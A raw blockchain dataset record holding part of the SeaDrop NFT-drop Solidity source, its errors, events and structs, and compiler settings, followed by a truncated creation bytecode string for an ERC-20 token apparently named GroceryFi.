"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport { PublicDrop, TokenGatedDropStage, SignedMintValidationParams } from \"./SeaDropStructs.sol\";\n\ninterface SeaDropErrorsAndEvents {\n /**\n * @dev Revert with an error if the drop stage is not active.\n */\n error NotActive(\n uint256 currentTimestamp,\n uint256 startTimestamp,\n uint256 endTimestamp\n );\n\n /**\n * @dev Revert with an error if the mint quantity is zero.\n */\n error MintQuantityCannotBeZero();\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max allowed\n * to be minted per wallet.\n */\n error MintQuantityExceedsMaxMintedPerWallet(uint256 total, uint256 allowed);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply.\n */\n error MintQuantityExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply for the stage.\n * Note: The `maxTokenSupplyForStage` for public mint is\n * always `type(uint).max`.\n */\n error MintQuantityExceedsMaxTokenSupplyForStage(\n uint256 total, \n uint256 maxTokenSupplyForStage\n );\n \n /**\n * @dev Revert if the fee recipient is the zero address.\n */\n error FeeRecipientCannotBeZeroAddress();\n\n /**\n * @dev Revert if the fee recipient is not already included.\n */\n error FeeRecipientNotPresent();\n\n /**\n * @dev Revert if the fee basis points is greater than 10_000.\n */\n error InvalidFeeBps(uint256 feeBps);\n\n /**\n * @dev Revert if the fee recipient is already included.\n */\n error DuplicateFeeRecipient();\n\n /**\n * @dev Revert if the fee recipient is restricted and not allowed.\n */\n error FeeRecipientNotAllowed();\n\n /**\n * @dev Revert if the creator payout address is the zero address.\n */\n error CreatorPayoutAddressCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if the received payment is incorrect.\n */\n error IncorrectPayment(uint256 got, uint256 want);\n\n /**\n * @dev Revert with an error if the allow list proof is invalid.\n */\n error InvalidProof();\n\n /**\n * @dev Revert if a supplied signer address is the zero address.\n */\n error SignerCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if signer's signature is invalid.\n */\n error InvalidSignature(address recoveredSigner);\n\n /**\n * @dev Revert with an error if a signer is not included in\n * the enumeration when removing.\n */\n error SignerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is not included in\n * the enumeration when removing.\n */\n error PayerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is already included in mapping\n * when adding.\n * Note: only applies when adding a single payer, as duplicates in\n * enumeration can be removed with updatePayer.\n */\n error DuplicatePayer();\n\n /**\n * @dev Revert with an error if the payer is not allowed. The minter must\n * pay for their own mint.\n */\n error PayerNotAllowed();\n\n /**\n * @dev Revert if a supplied payer address is the zero address.\n */\n error PayerCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if the sender does not\n * match the INonFungibleSeaDropToken interface.\n */\n error OnlyINonFungibleSeaDropToken(address sender);\n\n /**\n * @dev Revert with an error if the sender of a token gated supplied\n * drop stage redeem is not the owner of the token.\n */\n error TokenGatedNotTokenOwner(\n address nftContract,\n address allowedNftToken,\n uint256 allowedNftTokenId\n );\n\n /**\n * @dev Revert with an error if the token id has already been used to\n * redeem a token gated drop stage.\n */\n error TokenGatedTokenIdAlreadyRedeemed(\n address nftContract,\n address allowedNftToken,\n uint256 allowedNftTokenId\n );\n\n /**\n * @dev Revert with an error if an empty TokenGatedDropStage is provided\n * for an already-empty TokenGatedDropStage.\n */\n error TokenGatedDropStageNotPresent();\n\n /**\n * @dev Revert with an error if an allowedNftToken is set to\n * the zero address.\n */\n error TokenGatedDropAllowedNftTokenCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if an allowedNftToken is set to\n * the drop token itself.\n */\n error TokenGatedDropAllowedNftTokenCannotBeDropToken();\n\n\n /**\n * @dev Revert with an error if supplied signed mint price is less than\n * the minimum specified.\n */\n error InvalidSignedMintPrice(uint256 got, uint256 minimum);\n\n /**\n * @dev Revert with an error if supplied signed maxTotalMintableByWallet\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTotalMintableByWallet(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed start time is less than\n * the minimum specified.\n */\n error InvalidSignedStartTime(uint256 got, uint256 minimum);\n \n /**\n * @dev Revert with an error if supplied signed end time is greater than\n * the maximum specified.\n */\n error InvalidSignedEndTime(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed maxTokenSupplyForStage\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTokenSupplyForStage(uint256 got, uint256 maximum);\n \n /**\n * @dev Revert with an error if supplied signed feeBps is greater than\n * the maximum specified, or less than the minimum.\n */\n error InvalidSignedFeeBps(uint256 got, uint256 minimumOrMaximum);\n\n /**\n * @dev Revert with an error if signed mint did not specify to restrict\n * fee recipients.\n */\n error SignedMintsMustRestrictFeeRecipients();\n\n /**\n * @dev Revert with an error if a signature for a signed mint has already\n * been used.\n */\n error SignatureAlreadyUsed();\n\n /**\n * @dev An event with details of a SeaDrop mint, for analytical purposes.\n * \n * @param nftContract The nft contract.\n * @param minter The mint recipient.\n * @param feeRecipient The fee recipient.\n * @param payer The address who payed for the tx.\n * @param quantityMinted The number of tokens minted.\n * @param unitMintPrice The amount paid for each token.\n * @param feeBps The fee out of 10_000 basis points collected.\n * @param dropStageIndex The drop stage index. Items minted\n * through mintPublic() have\n * dropStageIndex of 0.\n */\n event SeaDropMint(\n address indexed nftContract,\n address indexed minter,\n address indexed feeRecipient,\n address payer,\n uint256 quantityMinted,\n uint256 unitMintPrice,\n uint256 feeBps,\n uint256 dropStageIndex\n );\n\n /**\n * @dev An event with updated public drop data for an nft contract.\n */\n event PublicDropUpdated(\n address indexed nftContract,\n PublicDrop publicDrop\n );\n\n /**\n * @dev An event with updated token gated drop stage data\n * for an nft contract.\n */\n event TokenGatedDropStageUpdated(\n address indexed nftContract,\n address indexed allowedNftToken,\n TokenGatedDropStage dropStage\n );\n\n /**\n * @dev An event with updated allow list data for an nft contract.\n * \n * @param nftContract The nft contract.\n * @param previousMerkleRoot The previous allow list merkle root.\n * @param newMerkleRoot The new allow list merkle root.\n * @param publicKeyURI If the allow list is encrypted, the public key\n * URIs that can decrypt the list.\n * Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\n event AllowListUpdated(\n address indexed nftContract,\n bytes32 indexed previousMerkleRoot,\n bytes32 indexed newMerkleRoot,\n string[] publicKeyURI,\n string allowListURI\n );\n\n /**\n * @dev An event with updated drop URI for an nft contract.\n */\n event DropURIUpdated(address indexed nftContract, string newDropURI);\n\n /**\n * @dev An event with the updated creator payout address for an nft\n * contract.\n */\n event CreatorPayoutAddressUpdated(\n address indexed nftContract,\n address indexed newPayoutAddress\n );\n\n /**\n * @dev An event with the updated allowed fee recipient for an nft\n * contract.\n */\n event AllowedFeeRecipientUpdated(\n address indexed nftContract,\n address indexed feeRecipient,\n bool indexed allowed\n );\n\n /**\n * @dev An event with the updated validation parameters for server-side\n * signers.\n */\n event SignedMintValidationParamsUpdated(\n address indexed nftContract,\n address indexed signer,\n SignedMintValidationParams signedMintValidationParams\n ); \n\n /**\n * @dev An event with the updated payer for an nft contract.\n */\n event PayerUpdated(\n address indexed nftContract,\n address indexed payer,\n bool indexed allowed\n );\n}\n"
},
"src/lib/SeaDropStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\n/**\n * @notice A struct defining public drop data.\n * Designed to fit efficiently in one storage slot.\n * \n * @param mintPrice The mint price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param startTime The start time, ensure this is not zero.\n * @param endTIme The end time, ensure this is not zero.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct PublicDrop {\n uint80 mintPrice; // 80/256 bits\n uint48 startTime; // 128/256 bits\n uint48 endTime; // 176/256 bits\n uint16 maxTotalMintableByWallet; // 224/256 bits\n uint16 feeBps; // 240/256 bits\n bool restrictFeeRecipients; // 248/256 bits\n}\n\n/**\n * @notice A struct defining token gated drop stage data.\n * Designed to fit efficiently in one storage slot.\n * \n * @param mintPrice The mint price per token. (Up to 1.2m \n * of native token, e.g.: ETH, MATIC)\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be \n * non-zero since the public mint emits\n * with index zero.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within. (The limit for this field is\n * 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct TokenGatedDropStage {\n uint80 mintPrice; // 80/256 bits\n uint16 maxTotalMintableByWallet; // 96/256 bits\n uint48 startTime; // 144/256 bits\n uint48 endTime; // 192/256 bits\n uint8 dropStageIndex; // non-zero. 200/256 bits\n uint32 maxTokenSupplyForStage; // 232/256 bits\n uint16 feeBps; // 248/256 bits\n bool restrictFeeRecipients; // 256/256 bits\n}\n\n/**\n * @notice A struct defining mint params for an allow list.\n * An allow list leaf will be composed of `msg.sender` and\n * the following params.\n * \n * Note: Since feeBps is encoded in the leaf, backend should ensure\n * that feeBps is acceptable before generating a proof.\n * \n * @param mintPrice The mint price per token.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be\n * non-zero since the public mint emits with\n * index zero.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within.\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct MintParams {\n uint256 mintPrice; \n uint256 maxTotalMintableByWallet;\n uint256 startTime;\n uint256 endTime;\n uint256 dropStageIndex; // non-zero\n uint256 maxTokenSupplyForStage;\n uint256 feeBps;\n bool restrictFeeRecipients;\n}\n\n/**\n * @notice A struct defining token gated mint params.\n * \n * @param allowedNftToken The allowed nft token contract address.\n * @param allowedNftTokenIds The token ids to redeem.\n */\nstruct TokenGatedMintParams {\n address allowedNftToken;\n uint256[] allowedNftTokenIds;\n}\n\n/**\n * @notice A struct defining allow list data (for minting an allow list).\n * \n * @param merkleRoot The merkle root for the allow list.\n * @param publicKeyURIs If the allowListURI is encrypted, a list of URIs\n * pointing to the public keys. Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\nstruct AllowListData {\n bytes32 merkleRoot;\n string[] publicKeyURIs;\n string allowListURI;\n}\n\n/**\n * @notice A struct defining minimum and maximum parameters to validate for \n * signed mints, to minimize negative effects of a compromised signer.\n *\n * @param minMintPrice The minimum mint price allowed.\n * @param maxMaxTotalMintableByWallet The maximum total number of mints allowed\n * by a wallet.\n * @param minStartTime The minimum start time allowed.\n * @param maxEndTime The maximum end time allowed.\n * @param maxMaxTokenSupplyForStage The maximum token supply allowed.\n * @param minFeeBps The minimum fee allowed.\n * @param maxFeeBps The maximum fee allowed.\n */\nstruct SignedMintValidationParams {\n uint80 minMintPrice; // 80/256 bits\n uint24 maxMaxTotalMintableByWallet; // 104/256 bits\n uint40 minStartTime; // 144/256 bits\n uint40 maxEndTime; // 184/256 bits\n uint40 maxMaxTokenSupplyForStage; // 224/256 bits\n uint16 minFeeBps; // 240/256 bits\n uint16 maxFeeBps; // 256/256 bits\n}"
}
},
"settings": {
"remappings": [
"ERC721A-Upgradeable/=lib/ERC721A-Upgradeable/contracts/",
"ERC721A/=lib/ERC721A/contracts/",
"create2-helpers/=lib/create2-helpers/src/",
"create2-scripts/=lib/create2-helpers/script/",
"ds-test/=lib/ds-test/src/",
"erc4626-tests/=lib/operator-filter-registry/lib/openzeppelin-contracts/lib/erc4626-tests/",
"forge-std/=lib/forge-std/src/",
"murky/=lib/murky/src/",
"openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/",
"openzeppelin-contracts/=lib/openzeppelin-contracts/contracts/",
"operator-filter-registry/=lib/operator-filter-registry/src/",
"seadrop/=src/",
"solmate/=lib/solmate/src/",
"utility-contracts/=lib/utility-contracts/src/"
],
"optimizer": {
"enabled": true,
"runs": 1000000
},
"metadata": {
"bytecodeHash": "none"
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"evmVersion": "london",
"libraries": {}
}
}}
|
1 | 19,497,391 |
8cc0160293275594af69a4bbd820cb261ac8ff61778240d33143c9b8b8a2fb25
|
bd470c11aa9265af70e45c8414ed080fd6d64c4998c4529bf625cea6a5d3f9ae
|
9ca150a839ff1f0a095aa91540d654719ff986a3
|
9ca150a839ff1f0a095aa91540d654719ff986a3
|
de9804cc479164fa9e9cb59ad4e65012a12aa827
|
6080604052600160065f6101000a81548160ff0219169083151502179055506014600755601e60085560056009556005600a556014600b556014600c556014600d555f600e556009600a6200005591906200060c565b621e84806200006591906200065c565b600f556009600a6200007891906200060c565b621e84806200008891906200065c565b6010556009600a6200009b91906200060c565b6207a120620000ab91906200065c565b6011556009600a620000be91906200060c565b6216e360620000ce91906200065c565b6012555f601460156101000a81548160ff0219169083151502179055505f601460166101000a81548160ff02191690831515021790555034801562000111575f80fd5b505f620001236200044c60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620001cf6200044c60201b60201c565b600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6200021f91906200060c565b6305f5e1006200023091906200065c565b60015f620002436200044c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f620002956200045360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620003c06200044c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6200041e91906200060c565b6305f5e1006200042f91906200065c565b6040516200043e9190620006b7565b60405180910390a3620006d2565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200050457808604811115620004dc57620004db6200047a565b5b6001851615620004ec5780820291505b8081029050620004fc85620004a7565b9450620004bc565b94509492505050565b5f826200051e5760019050620005f0565b816200052d575f9050620005f0565b8160018114620005465760028114620005515762000587565b6001915050620005f0565b60ff8411156200056657620005656200047a565b5b8360020a91508482111562000580576200057f6200047a565b5b50620005f0565b5060208310610133831016604e8410600b8410161715620005c15782820a905083811115620005bb57620005ba6200047a565b5b620005f0565b620005d08484846001620004b3565b92509050818404811115620005ea57620005e96200047a565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200061882620005f7565b9150620006258362000600565b9250620006547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200050d565b905092915050565b5f6200066882620005f7565b91506200067583620005f7565b92508282026200068581620005f7565b915082820484148315176200069f576200069e6200047a565b5b5092915050565b620006b181620005f7565b82525050565b5f602082019050620006cc5f830184620006a6565b92915050565b612f5680620006e05f395ff3fe608060405260043610610117575f3560e01c8063715018a61161009f578063a9059cbb11610063578063a9059cbb14610368578063bf474bed146103a4578063c876d0b9146103ce578063c9567bf9146103f8578063dd62ed3e1461040e5761011e565b8063715018a6146102aa5780637d1db4a5146102c05780638da5cb5b146102ea5780638f9a55c01461031457806395d89b411461033e5761011e565b806318160ddd116100e657806318160ddd146101c857806323b872dd146101f2578063313ce5671461022e57806363daaa6b1461025857806370a082311461026e5761011e565b806306fdde0314610122578063095ea7b31461014c5780630faee56f14610188578063109f09ee146101b25761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b5061013661044a565b6040516101439190612048565b60405180910390f35b348015610157575f80fd5b50610172600480360381019061016d91906120f9565b610487565b60405161017f9190612151565b60405180910390f35b348015610193575f80fd5b5061019c6104a4565b6040516101a99190612179565b60405180910390f35b3480156101bd575f80fd5b506101c66104aa565b005b3480156101d3575f80fd5b506101dc610542565b6040516101e99190612179565b60405180910390f35b3480156101fd575f80fd5b5061021860048036038101906102139190612192565b610565565b6040516102259190612151565b60405180910390f35b348015610239575f80fd5b50610242610639565b60405161024f91906121fd565b60405180910390f35b348015610263575f80fd5b5061026c610641565b005b348015610279575f80fd5b50610294600480360381019061028f9190612216565b610789565b6040516102a19190612179565b60405180910390f35b3480156102b5575f80fd5b506102be6107cf565b005b3480156102cb575f80fd5b506102d461091d565b6040516102e19190612179565b60405180910390f35b3480156102f5575f80fd5b506102fe610923565b60405161030b9190612250565b60405180910390f35b34801561031f575f80fd5b5061032861094a565b6040516103359190612179565b60405180910390f35b348015610349575f80fd5b50610352610950565b60405161035f9190612048565b60405180910390f35b348015610373575f80fd5b5061038e600480360381019061038991906120f9565b61098d565b60405161039b9190612151565b60405180910390f35b3480156103af575f80fd5b506103b86109aa565b6040516103c59190612179565b60405180910390f35b3480156103d9575f80fd5b506103e26109b0565b6040516103ef9190612151565b60405180910390f35b348015610403575f80fd5b5061040c6109c2565b005b348015610419575f80fd5b50610434600480360381019061042f9190612269565b610ee1565b6040516104419190612179565b60405180910390f35b60606040518060400160405280600981526020017f47726f6365727946690000000000000000000000000000000000000000000000815250905090565b5f61049a610493610f63565b8484610f6a565b6001905092915050565b60125481565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104eb610f63565b73ffffffffffffffffffffffffffffffffffffffff161461050a575f80fd5b5f61051430610789565b90505f811115610528576105278161112d565b5b5f4790505f81111561053e5761053d81611398565b5b5050565b5f6009600a6105519190612403565b6305f5e100610560919061244d565b905090565b5f610571848484611401565b61062e8461057d610f63565b61062985604051806060016040528060288152602001612ef96028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105e0610f63565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d7d9092919063ffffffff16565b610f6a565b600190509392505050565b5f6009905090565b610649610f63565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cc906124d8565b60405180910390fd5b6009600a6106e39190612403565b6305f5e1006106f2919061244d565b600f819055506009600a6107069190612403565b6305f5e100610715919061244d565b6010819055505f60065f6101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6107639190612403565b6305f5e100610772919061244d565b60405161077f9190612179565b60405180910390a1565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107d7610f63565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610863576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a906124d8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600f5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600381526020017f4766690000000000000000000000000000000000000000000000000000000000815250905090565b5f6109a0610999610f63565b8484611401565b6001905092915050565b60115481565b60065f9054906101000a900460ff1681565b6109ca610f63565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4d906124d8565b60405180910390fd5b60148054906101000a900460ff1615610aa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9b90612540565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b403060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610b2c9190612403565b6305f5e100610b3b919061244d565b610f6a565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610baa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bce9190612572565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c54573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c789190612572565b6040518363ffffffff1660e01b8152600401610c9592919061259d565b6020604051808303815f875af1158015610cb1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cd59190612572565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d5c30610789565b5f80610d66610923565b426040518863ffffffff1660e01b8152600401610d8896959493929190612606565b60606040518083038185885af1158015610da4573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610dc99190612679565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e699291906126c9565b6020604051808303815f875af1158015610e85573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ea9919061271a565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcf906127b5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103d90612843565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111209190612179565b60405180910390a3505050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561116457611163612861565b5b6040519080825280602002602001820160405280156111925781602001602082028036833780820191505090505b50905030815f815181106111a9576111a861288e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561124d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112719190612572565b816001815181106112855761128461288e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506112eb3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f6a565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161134d959493929190612972565b5f604051808303815f87803b158015611364575f80fd5b505af1158015611376573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156113fd573d5f803e3d5ffd5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361146f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146690612a3a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d490612ac8565b60405180910390fd5b5f811161151f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151690612b56565b60405180910390fd5b5f611528610923565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156115965750611566610923565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611acd576115d760646115c9600b54600e54116115b6576007546115ba565b6009545b85611ddf90919063ffffffff16565b611e5690919063ffffffff16565b905060065f9054906101000a900460ff161561175f5760135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611697575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561175e574360055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541061171b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171290612c0a565b60405180910390fd5b4360055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611808575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561185b575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561191557600f548211156118a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189c90612c72565b60405180910390fd5b601054826118b285610789565b6118bc9190612c90565b11156118fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f490612d0d565b60405180910390fd5b600e5f81548092919061190f90612d2b565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561199d57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156119e1576119de60646119d0600c54600e54116119bd576008546119c1565b600a545b85611ddf90919063ffffffff16565b611e5690919063ffffffff16565b90505b5f6119eb30610789565b9050601460159054906101000a900460ff16158015611a56575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611a6e5750601460169054906101000a900460ff165b8015611a7b575060115481115b8015611a8a5750600d54600e54115b15611acb57611aac611aa784611aa284601254611e9f565b611e9f565b61112d565b5f47905066b1a2bc2ec50000811115611ac957611ac847611398565b5b505b505b5f811115611bcc57611b258160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611eb790919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bc39190612179565b6